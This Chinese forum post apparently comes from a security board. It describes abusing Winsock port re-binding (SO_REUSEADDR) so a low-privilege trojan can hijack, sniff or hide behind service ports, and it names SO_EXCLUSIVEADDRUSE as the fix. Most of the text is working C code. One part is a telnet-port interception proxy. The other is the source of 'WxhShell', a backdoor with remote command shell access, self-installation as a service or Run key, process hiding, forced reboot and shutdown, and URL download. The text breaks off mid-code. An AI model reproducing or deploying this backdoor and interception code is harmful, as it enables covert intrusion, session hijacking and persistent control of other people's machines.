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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i@%L_[MtA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %0go%_  
| eK,Td%  
  saddr.sin_family = AF_INET; ~n)]dFy  
H==X0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .jy)>"h0  
FxMMxY,*%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1Z=;Uy\  
I%C]>ZZh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6YB-}>?  
__Vg/C!W  
  这意味着什么?意味着可以进行如下的攻击: %Gnd"SGs  
pPU2ar  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +lW+H12  
,(zcl$A[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  U5T^S  
WIhIEU7/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~ly`u  
$=X!nQ& Z|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @faF`8LwA  
)I^)*(}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &*h`b{]  
~r7DEy|+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7 B4w.P,B  
&n,xGIG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aA!@;rR<yU  
* <Nk%`  
  #include f4qS OVv  
  #include ZC>`ca  
  #include b*9m2=6  
  #include    ixoMccU0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zSX'  
  int main() <[*h_gE5  
  { ;5zjd,  
  WORD wVersionRequested; pO@k@JZ  
  DWORD ret; +^o3}`  
  WSADATA wsaData; ]a &x'  
  BOOL val; @8T Vr2uy  
  SOCKADDR_IN saddr; qhv4R|)  
  SOCKADDR_IN scaddr; il 8A&`%  
  int err; vUA)#z<  
  SOCKET s; 96^1Ivd  
  SOCKET sc; Phk`=:xh  
  int caddsize; (dw3'W  
  HANDLE mt; 10a=YG  
  DWORD tid;   ?et0W|^k  
  wVersionRequested = MAKEWORD( 2, 2 ); !ds"88:5^  
  err = WSAStartup( wVersionRequested, &wsaData ); 6jQ&dN{=qB  
  if ( err != 0 ) { M,=@|U/B  
  printf("error!WSAStartup failed!\n"); >*ha#PE  
  return -1; kM}ic(K  
  } Z:r$;`K/  
  saddr.sin_family = AF_INET; pEqr0Qwh  
   PAO[Og,-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H@OrX  
8=u+BDG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Oa3=+_C~$1  
  saddr.sin_port = htons(23); I*`=[nR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a`GN@ 8  
  { E: LQ!  
  printf("error!socket failed!\n"); %<bG%V(  
  return -1; >V ]*mS %K  
  } LmT[N@>"  
  val = TRUE; qJAv=D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~L Bq5a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ra15d^  
  { AU${0#WV_  
  printf("error!setsockopt failed!\n"); e P,XH{s  
  return -1; %o _0M^3W  
  } bl!f5ROS(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8=zM~v)   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ytcG6WN3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]I.& .?^i0  
U{:(j5m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W;)FNP|MT  
  { ;JD3tM<  
  ret=GetLastError(); ZE3ysLk m  
  printf("error!bind failed!\n"); >stVsFdV)  
  return -1; VTgbJ {?  
  } KE)D =P  
  listen(s,2); 3I{ta/(  
  while(1) )su <Ji*  
  { IP4b[|ef  
  caddsize = sizeof(scaddr); TF iM[  
  //接受连接请求 &s}@7htE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %(7wZ0Z  
  if(sc!=INVALID_SOCKET) ?3E_KGI  
  { tX`[6`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ff5 Lwf{{  
  if(mt==NULL) nluyEK  
  { 4\eX=~C>:  
  printf("Thread Creat Failed!\n"); BC0c c[x  
  break; O]r3?=  
  } la"A$Tbu~  
  } EX_sJc  
  CloseHandle(mt); 4+?ZTc(  
  } 6L`+ z  
  closesocket(s); GO GXM4I  
  WSACleanup(); QmkC~kK1.  
  return 0; 8UY=}R2C  
  }   pQ-^T.'  
  DWORD WINAPI ClientThread(LPVOID lpParam) LK-6z w5=(  
  { oTV8rG  
  SOCKET ss = (SOCKET)lpParam; SAxa7B/U2  
  SOCKET sc; #* /W!UOu  
  unsigned char buf[4096]; L) nVpqm   
  SOCKADDR_IN saddr; uW-- nXMs  
  long num; _>)"+z^r  
  DWORD val; ?`*-QG}  
  DWORD ret; g!) LhE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `zOAltfd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;>8TNB e!  
  saddr.sin_family = AF_INET; MfpWow-#{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !}Ou|r4_  
  saddr.sin_port = htons(23); E `j5y(44  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w wRT$-!  
  { Rc.<0#  
  printf("error!socket failed!\n"); a4qpnr]0  
  return -1; ~TK^aM  
  } A%8`zR  
  val = 100; > FcA ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,4T$  
  { $cpQ7  
  ret = GetLastError(); pz6- hi7  
  return -1; Cy> +j{%!  
  } h _7;UQH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oYm{I ~"  
  { 3R[J,go  
  ret = GetLastError(); Iybpk?,M+  
  return -1; wQuaB6E  
  } h)RM9813<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G]DN!7]@g  
  { 5%aKlx9^#  
  printf("error!socket connect failed!\n"); _ ,1kcDu  
  closesocket(sc); G`lhvpifG  
  closesocket(ss); [_G0kiI}W"  
  return -1; y\|\9Q%D  
  } ? /X6x1PN  
  while(1) [gr[0aGBc  
  { >#n-4NZ;p9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N6 (w<b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qa`(,iN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >5:e1a?9  
  num = recv(ss,buf,4096,0); fTtSx_}3H  
  if(num>0) vjRD?kF  
  send(sc,buf,num,0); x(N} ^Hu  
  else if(num==0) X.Y)'qSf  
  break; H0NyxG<  
  num = recv(sc,buf,4096,0); dY` J,s  
  if(num>0) Ijro;rsEKM  
  send(ss,buf,num,0); (lsod#wEMg  
  else if(num==0) 7TY"{? ~O5  
  break; ,lYU#Hx*  
  } VOOThdR  
  closesocket(ss); c0p=/*s(  
  closesocket(sc);  #X_M  
  return 0 ; 8_$2aqr  
  } buyz>IC P  
(\Zo"x;(  
?|YQtY  
==========================================================  o*1`,n  
kakWXGeR  
下边附上一个代码,,WXhSHELL p5t#d)  
r_RTtS#  
========================================================== 8gm[Q[  
A8Y~^wn  
#include "stdafx.h" 7)wq9];w  
Z}StA0F_  
#include <stdio.h> :e vc  
#include <string.h> F4gc_>{|  
#include <windows.h> YZ P  
#include <winsock2.h> <u/({SZ&  
#include <winsvc.h> 8[IifF1M=&  
#include <urlmon.h> w2AWdO6  
swbD q  
#pragma comment (lib, "Ws2_32.lib") ?V&a |:N9  
#pragma comment (lib, "urlmon.lib") Vk T3_f  
d_B5@9e#  
#define MAX_USER   100 // 最大客户端连接数 n K=V`  
#define BUF_SOCK   200 // sock buffer DL{a8t1L  
#define KEY_BUFF   255 // 输入 buffer m q9&To!  
(E[hl  
#define REBOOT     0   // 重启 0q!{&p t  
#define SHUTDOWN   1   // 关机 ghiElsBU  
v 0H#\p  
#define DEF_PORT   5000 // 监听端口 3|3lUU\I  
]h@:Y]  
#define REG_LEN     16   // 注册表键长度 ,/9|j*9H  
#define SVC_LEN     80   // NT服务名长度  /9Xf[<  
inrL'z   
// 从dll定义API 8^T$6A[b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R5zV= N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VUy 1?n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1XRVbQt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z>~3*a9&  
\3/'#  
// wxhshell配置信息 ~qH@Kz\%  
struct WSCFG { RR|Eqm3)  
  int ws_port;         // 监听端口 :8g \B{  
  char ws_passstr[REG_LEN]; // 口令 XF6= xD  
  int ws_autoins;       // 安装标记, 1=yes 0=no m\=u/Zip  
  char ws_regname[REG_LEN]; // 注册表键名 ~Ji A  
  char ws_svcname[REG_LEN]; // 服务名 k=[R o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lhU#/}Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yg b#U'|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %iv'/B8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oGZ9@Y)(T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cAS5&T<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OoNAW<  
T}*'9TB  
}; .wywO|  
19_F\32  
// default Wxhshell configuration 5YasD6l  
struct WSCFG wscfg={DEF_PORT, zD'gGxM1  
    "xuhuanlingzhe", Jo ^ o`9  
    1, [nrP; _  
    "Wxhshell", L~~aW0,  
    "Wxhshell", zoU.\]#C  
            "WxhShell Service", 57r)&8  
    "Wrsky Windows CmdShell Service", .IgQn|N  
    "Please Input Your Password: ", >J1o@0tk  
  1, iy 5  
  "http://www.wrsky.com/wxhshell.exe", ZpyRvDz  
  "Wxhshell.exe" tznT*EQr  
    }; jWz-7BO  
\?Z dUY  
// 消息定义模块 U&NOf;h$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nJnan,`W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7>'F=}6[Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?l/rg6mbI'  
char *msg_ws_ext="\n\rExit."; x?kZD~|{)  
char *msg_ws_end="\n\rQuit."; T>?~eYHXs  
char *msg_ws_boot="\n\rReboot..."; KME #5=~  
char *msg_ws_poff="\n\rShutdown..."; ;S7xJ 'H  
char *msg_ws_down="\n\rSave to "; ntT| G0E  
Q.Acmht#  
char *msg_ws_err="\n\rErr!"; LuVj9+1 S  
char *msg_ws_ok="\n\rOK!"; a5iMCmL+  
TJ<PT  
char ExeFile[MAX_PATH]; #3S/TBy,  
int nUser = 0; (bw;zNW  
HANDLE handles[MAX_USER]; 'coqm8V[%  
int OsIsNt; ) E\pQ5&  
=Y BJ7.Y  
SERVICE_STATUS       serviceStatus; I6\3wU~).  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <j>@Fg#q  
,-Na'n  
// 函数声明 khR3[ju{^  
int Install(void); d7&PbITN  
int Uninstall(void); G~PP1sf  
int DownloadFile(char *sURL, SOCKET wsh); Qmrcng}P  
int Boot(int flag); #SdaTMLFf  
void HideProc(void); 86Rit!ih  
int GetOsVer(void); #df43_u  
int Wxhshell(SOCKET wsl); k}/: xN"  
void TalkWithClient(void *cs); [Xrq+O,  
int CmdShell(SOCKET sock); \@xnC$dd/  
int StartFromService(void); lbPxZ'YO#  
int StartWxhshell(LPSTR lpCmdLine); {`'b+0[;@  
p#&6Ed*V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;r y{cq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ka hv1s-  
zb<+x(0y"  
// 数据结构和表定义 Z_;' r|c  
SERVICE_TABLE_ENTRY DispatchTable[] = L*_xu _F  
{ g/E;OcFaO  
{wscfg.ws_svcname, NTServiceMain}, myo/}58Nv  
{NULL, NULL} rEViw?^KT  
}; M_e! s}F  
h3:,Gbyap  
// 自我安装 k4@GjO1"$  
int Install(void) ,kP{3.#Q  
{ 4 (yHD  
  char svExeFile[MAX_PATH]; bIH2cJ  
  HKEY key; ~$@I <=L  
  strcpy(svExeFile,ExeFile); *cd9[ ~  
2vwT8/  
// 如果是win9x系统,修改注册表设为自启动 >8VJ!Kg4  
if(!OsIsNt) { <D=%5 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G{J9Fb8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ka5>9E  
  RegCloseKey(key); lRrOoON  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $&4Zw6"=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @.5Ybgn  
  RegCloseKey(key); Pg:Nz@CQ  
  return 0; ED6H  
    } [AU1JO`\"  
  } qjWgyhL  
} T4UY%E!0  
else { ! 87ebo  
g5cR.]oz  
// 如果是NT以上系统,安装为系统服务 4uv }6&R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]/a?:24[  
if (schSCManager!=0) 9Hu%Z/[!p  
{ \!%3giD5!  
  SC_HANDLE schService = CreateService [)a,rrhj  
  ( DQ~@=%?ni  
  schSCManager, t;*'p  
  wscfg.ws_svcname,  Op|Be  
  wscfg.ws_svcdisp, -H]svOX  
  SERVICE_ALL_ACCESS, |[qI2-el?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "?Y0Ng[  
  SERVICE_AUTO_START, x&f?c=\F  
  SERVICE_ERROR_NORMAL, E/am^ TO`  
  svExeFile, 6q5V*sJ&  
  NULL, M_PL{  
  NULL, wU=(_S,c  
  NULL, /qz( ra  
  NULL, SVR AkP-  
  NULL @ }[)uH  
  ); 4b (iGLrt0  
  if (schService!=0) @P8q=j}l9  
  { z*R"917  
  CloseServiceHandle(schService); ve>8vw2  
  CloseServiceHandle(schSCManager); UgUW4x'+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wOOPuCw?  
  strcat(svExeFile,wscfg.ws_svcname); .Wr7?'D1M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2. |Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %xY'v$ %  
  RegCloseKey(key); oc15!M3$  
  return 0; I*0 W\Qz@  
    } wp@c;gK7  
  } t!K|3>w  
  CloseServiceHandle(schSCManager); tV<A u  
} t!PFosFp  
} ){6;o& CC:  
Z{e5 OJ  
return 1; 'SuYNA)  
} *:_.cbo  
]-0 &[@I4@  
// 自我卸载 [H"Ods~_`  
int Uninstall(void) 79i>@u%  
{ l5aQDkp}  
  HKEY key; `a<G7  
,,i;6q_f  
if(!OsIsNt) { 04,]upC${W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s(zG.7*3n  
  RegDeleteValue(key,wscfg.ws_regname); ]ao]?=q C  
  RegCloseKey(key); rMI:zFS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]A_)&`"Cb  
  RegDeleteValue(key,wscfg.ws_regname); JNZKzyJ9K  
  RegCloseKey(key); D,J's(wd  
  return 0; '&UX'Dd~Q  
  } :FK(*BUh  
} h883pe=  
} 4u"O/rt  
else { 2#sE\D  
P$q IB[Xi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 2_3|T  
if (schSCManager!=0) cnI!}Bu  
{ >bmL;)mc&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9 =hA#t.#  
  if (schService!=0) S c@g;+#QU  
  { n#m )]YQC  
  if(DeleteService(schService)!=0) { iS02uVmBZ  
  CloseServiceHandle(schService); lPx4I  
  CloseServiceHandle(schSCManager); u0N1+-6kr+  
  return 0; {Rbc  
  } i1  
  CloseServiceHandle(schService); YsLEbue   
  } ( 2<0kqj%  
  CloseServiceHandle(schSCManager); )=8X[<^i  
} b PiJCX0d  
}  x@Q}sW92  
0gxbo  
return 1; N=-hXgX^  
} U JY`P4(  
1)M3*h3  
// 从指定url下载文件 ba|~B8rII[  
int DownloadFile(char *sURL, SOCKET wsh) /G\-v2iD  
{ .LdLm991,Y  
  HRESULT hr; <+C]^*j  
char seps[]= "/"; :MpIx&  
char *token; dxxD%lHCF  
char *file; / [:@j+n\  
char myURL[MAX_PATH]; 389T6sP]  
char myFILE[MAX_PATH]; R )ejIKtY  
<?QY\wyikz  
strcpy(myURL,sURL); rAk*~OK  
  token=strtok(myURL,seps); F5:4 B]ZF  
  while(token!=NULL) y~''r%]   
  { Spt[b.4mF  
    file=token; =]&R6P>  
  token=strtok(NULL,seps); :,6dW?mun6  
  } |$^,e%bE  
l 8n#sGA%  
GetCurrentDirectory(MAX_PATH,myFILE); U3az\E)HV  
strcat(myFILE, "\\"); hP,SvN#!2  
strcat(myFILE, file); ,NPU0IDG>  
  send(wsh,myFILE,strlen(myFILE),0); 3]M YH b  
send(wsh,"...",3,0); T&6{|IfM_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AZxOq !B  
  if(hr==S_OK) )%f]`<o  
return 0; ':kBHCR7  
else q^>$YY>F  
return 1; |s[m;Qm[ku  
XLI'f$w&  
} i%D/@$\D6  
vUY?Eb[  
// 系统电源模块 A<QYW,:|  
int Boot(int flag) 7 8Nli/U  
{ n!A')]y"  
  HANDLE hToken; ,bKA]#(2  
  TOKEN_PRIVILEGES tkp; )d_)CuUBe  
>{$ ;O  
  if(OsIsNt) { 0 A/GWSmF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O=G2bdY{,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t-3wjS1v  
    tkp.PrivilegeCount = 1; ?9 m3y0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (/Hq8o-Fw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \bZbz/+D  
if(flag==REBOOT) { M +~guTh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VEd\*  
  return 0; i=#r JK=  
} *.~hn5Y|?  
else { )j]S ;Mr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lb{~a_c  
  return 0; m{I_E G  
} *Iyv${  
  } #sq-V,8  
  else { )|q,RAn  
if(flag==REBOOT) { 2< qq[2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /Vg R[  
  return 0; *B#<5<T  
} n)8bkcZCp+  
else { _bMD|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Llrs-0 M  
  return 0; ;yx+BaG~?  
} kZWc(LwA  
} H7H'0C  
Gg{@]9  
return 1; 4;7<)&#h  
} >8#(GXnSt  
o.Mb~8Yu  
// win9x进程隐藏模块 ec)G~?FH  
void HideProc(void) I,l%6oPa  
{ \4bma<~a  
0 jVuF l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?k<wI)JR  
  if ( hKernel != NULL ) GmcxN<  
  { fc+P`r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LyS139P$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9 %,_G.  
    FreeLibrary(hKernel); UFyGp>/06  
  } wGBQ.Ve[  
o%+K S5v!  
return; d_QHm;}Cx  
} 6<(HT#=#  
.[+8D=  
// 获取操作系统版本 OV;Ho  
int GetOsVer(void) X6N^<Z$  
{  4O[5,  
  OSVERSIONINFO winfo; k(3 s^B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *$1*\oCtz  
  GetVersionEx(&winfo); a' .o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5lxC**NA  
  return 1; K}1>n2P  
  else ePrb G4xv  
  return 0; )tz8(S  
} %&V<kH"7Q{  
$lU~3I)  
// 客户端句柄模块 +VAfT\G2  
int Wxhshell(SOCKET wsl) BYhPOg[  
{ H) m!)=\'  
  SOCKET wsh; Z@t).$  
  struct sockaddr_in client; 7 G~MqnO|  
  DWORD myID; U@BVVH?,o  
%[B &JhT  
  while(nUser<MAX_USER) 7>9/bB+TL  
{ Q5Y4@  
  int nSize=sizeof(client); V. 1sb pI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E IsA2 f  
  if(wsh==INVALID_SOCKET) return 1; oMkB!s  
t1n'Ecm(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9cQKXh:R.  
if(handles[nUser]==0) AZI%KM[  
  closesocket(wsh); [77]0V7  
else x|F6^d   
  nUser++; rQ30)5^V|  
  } .: 87B=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (xG#D;M0  
85w D<bN27  
  return 0; |uj1T=ZY  
} yJ/m21f  
h:a5FK@  
// 关闭 socket 8p-5.GU)<e  
void CloseIt(SOCKET wsh) E4T?8TO$o%  
{ L((z;y>q|  
closesocket(wsh); ["Z]K'?P  
nUser--; ~ W52Mbf  
ExitThread(0); /UN%P2>^1  
} TN7kt]a2  
sOz jViv  
// 客户端请求句柄 }{bO ~L7  
void TalkWithClient(void *cs) D7sw;{ns  
{ O|4~$7  
dm8veKW'l  
  SOCKET wsh=(SOCKET)cs; o! sxfJKl  
  char pwd[SVC_LEN]; ?rk3oa-  
  char cmd[KEY_BUFF]; gS4K](KH |  
char chr[1]; O JvEq@  
int i,j; y;;^o6Gnw  
N]KqSpPh  
  while (nUser < MAX_USER) { l"CHI*  
h&h]z[r R  
if(wscfg.ws_passstr) { 43,- t_jV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vQc>jmS+n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |os2@G$  
  //ZeroMemory(pwd,KEY_BUFF); xot q$r  
      i=0; M}(4>W  
  while(i<SVC_LEN) { QTcngv[  
R?Iv<(I  
  // 设置超时 rH8?GR0<  
  fd_set FdRead; ] A<\ d  
  struct timeval TimeOut; ]L}<Y9)t  
  FD_ZERO(&FdRead); ;#~rd8Z52  
  FD_SET(wsh,&FdRead); A`#5pGR  
  TimeOut.tv_sec=8; V [[B~Rs  
  TimeOut.tv_usec=0; v*FCE 1HI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SDA +XnmH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hYb!RRGn  
r/:9j(yxr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :d)@|SR1  
  pwd=chr[0]; %+o]1R  
  if(chr[0]==0xd || chr[0]==0xa) { ~qFi0<-M  
  pwd=0; G1$DV Go  
  break; ZZ[5Z =te?  
  } r}"T y  
  i++; 9 r+' o#  
    } n; v8Vc'  
kIU"-;5tP  
  // 如果是非法用户,关闭 socket `\e@O#,^yI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p1J%=  
} &NHIX(b6  
gbXzD`WQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [#lPT'l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 34s:|w6y  
"=P@x|I  
while(1) { &EA4`p  
M~ynJ@q  
  ZeroMemory(cmd,KEY_BUFF); JfKl=vg  
dXrv  
      // 自动支持客户端 telnet标准   4;w_o9o  
  j=0; xCoQ>.4p  
  while(j<KEY_BUFF) { -bZ^A~<O,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .$99/2[90  
  cmd[j]=chr[0]; R^%7|  
  if(chr[0]==0xa || chr[0]==0xd) { Rjm5{aa-  
  cmd[j]=0; <Ni]\-*  
  break; D?X97jNm  
  } +c\fDVv  
  j++; I#uJdV|x  
    } ?=Ma7 y  
XK(<N<Z@|e  
  // 下载文件 - bFz  
  if(strstr(cmd,"http://")) { 1eiH%{w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ug UV`5w   
  if(DownloadFile(cmd,wsh)) /+02 BP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LL kAA?P  
  else a/>={mb Ki  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A/BL{ U}  
  } |W\CV0L2  
  else { 3&x_%R  
@kI^6(.  
    switch(cmd[0]) { ]J_Dn\  
  2E=E!Zwt_  
  // 帮助 < 8WS YZ  
  case '?': { s&8QRI.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?z Ms;  
    break; `9b D%M  
  } <(s+  
  // 安装 ?$=N!>P#  
  case 'i': { )M'#l<9B  
    if(Install()) }{]{`\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .`xcR]PQ  
    else "QGP]F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8.]dThaq  
    break; 8c]\4iau  
    } "qQU ^FW  
  // 卸载 {_ewc/~  
  case 'r': { "o=h /q5&  
    if(Uninstall()) \*d@_oQ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ha4?I$'$  
    else jG{xFz>x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4.CLTy3W  
    break; GD~3RnGQ{  
    } hMi!H.EX.  
  // 显示 wxhshell 所在路径 f-4<W0%  
  case 'p': { kpK: @  
    char svExeFile[MAX_PATH]; 8oN4!#:  
    strcpy(svExeFile,"\n\r"); AVyo)=&  
      strcat(svExeFile,ExeFile); ROQk^  
        send(wsh,svExeFile,strlen(svExeFile),0); $ZwsTV]x  
    break; p5G O@^i  
    } 4?72TBl]  
  // 重启 fN8A'p[  
  case 'b': { tty 6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4lvo9R  
    if(Boot(REBOOT)) 1cOp"!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=q {1\#  
    else { r")=Z1y  
    closesocket(wsh); ^'v6 ,*:4  
    ExitThread(0); YgdoQBQ  
    } $0iz;!w  
    break; !4I?59  
    } LNk 3=v2M  
  // 关机 od?Q&'A  
  case 'd': { AvP*p{we  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $T]1<3\G  
    if(Boot(SHUTDOWN)) N|7<*\o  
